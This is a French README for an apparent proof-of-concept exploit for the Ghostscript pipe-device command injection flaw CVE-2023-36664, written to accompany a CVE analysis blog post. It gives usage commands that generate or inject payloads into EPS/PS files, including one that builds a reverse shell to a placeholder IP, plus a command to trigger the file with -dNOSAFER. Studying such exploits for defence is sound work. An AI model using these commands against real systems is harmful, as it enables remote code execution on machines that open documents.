
Exploit de preuve de concept pour l'injection de commandes Ghostscript (CVE-2023-36664) avec génération de charge utile et injection dans des fichiers EPS/PS pour l'exécution de code.
Vulnérabilité divulguée dans Ghostscript antérieur à la version 10.01.2 menant à l'exécution de code (score CVSS 9.8).
Officielle description de la vulnérabilité :
Artifex Ghostscript jusqu'à la version 10.01.2 gère mal la validation des permissions pour les périphériques pipe (avec le préfixe %pipe% ou le caractère pipe |).
Debian a publié un avis de sécurité mentionnant une possible exécution de commandes arbitraires :
"Il a été découvert que Ghostscript, l'interpréteur GPL PostScript/PDF, ne gère pas correctement la validation des permissions pour les périphériques pipe, ce qui pourrait entraîner l'exécution de commandes arbitraires si des fichiers de documents mal formés sont traités."
Ce dépôt est créé pour un article de blog d'analyse CVE disponible sur le blog vsociety.
Téléchargez Ghostscript 10.01.1 ici : https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Lien direct vers l'exécutable Windows x64 : https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
L'exploitation peut se produire lors de l'ouverture d'un fichier PS ou EPS et peut permettre l'exécution de code en raison d'une mauvaise gestion de la validation des permissions pour les périphériques pipe par Ghostscript.
Utilisation : python3 CVE_2023_36664_exploit.py <input_file> <command>
Exemple :
python3 CVE_2023_36664_exploit.py file.eps "calc"
Cela génère un nouveau fichier appelé file_injected.eps.
Ouvrez-le avec Ghostscript pour déclencher la calculatrice (depuis la version 9.50, vous devez également utiliser l'option -dNOSAFER) :
gs10011w64.exe -dNOSAFER .\file_injected.eps
Autres exemples : Génère un nouveau fichier EPS appelé run_calculator.eps avec la charge utile "calc" (fait apparaître une nouvelle calculatrice sous Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Génère un nouveau fichier EPS appelé rev_shell.eps avec une IP personnalisée (démarre un shell inversé lorsqu'il est déclenché sous Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Génère un nouveau fichier PS malicius.ps avec la charge utile "calc" (fait apparaître une nouvelle calculatrice sous Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Injecte une charge utile personnalisée malveillante ("calc") dans un fichier existant appelé file.eps (fait apparaître une nouvelle calculatrice sous Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.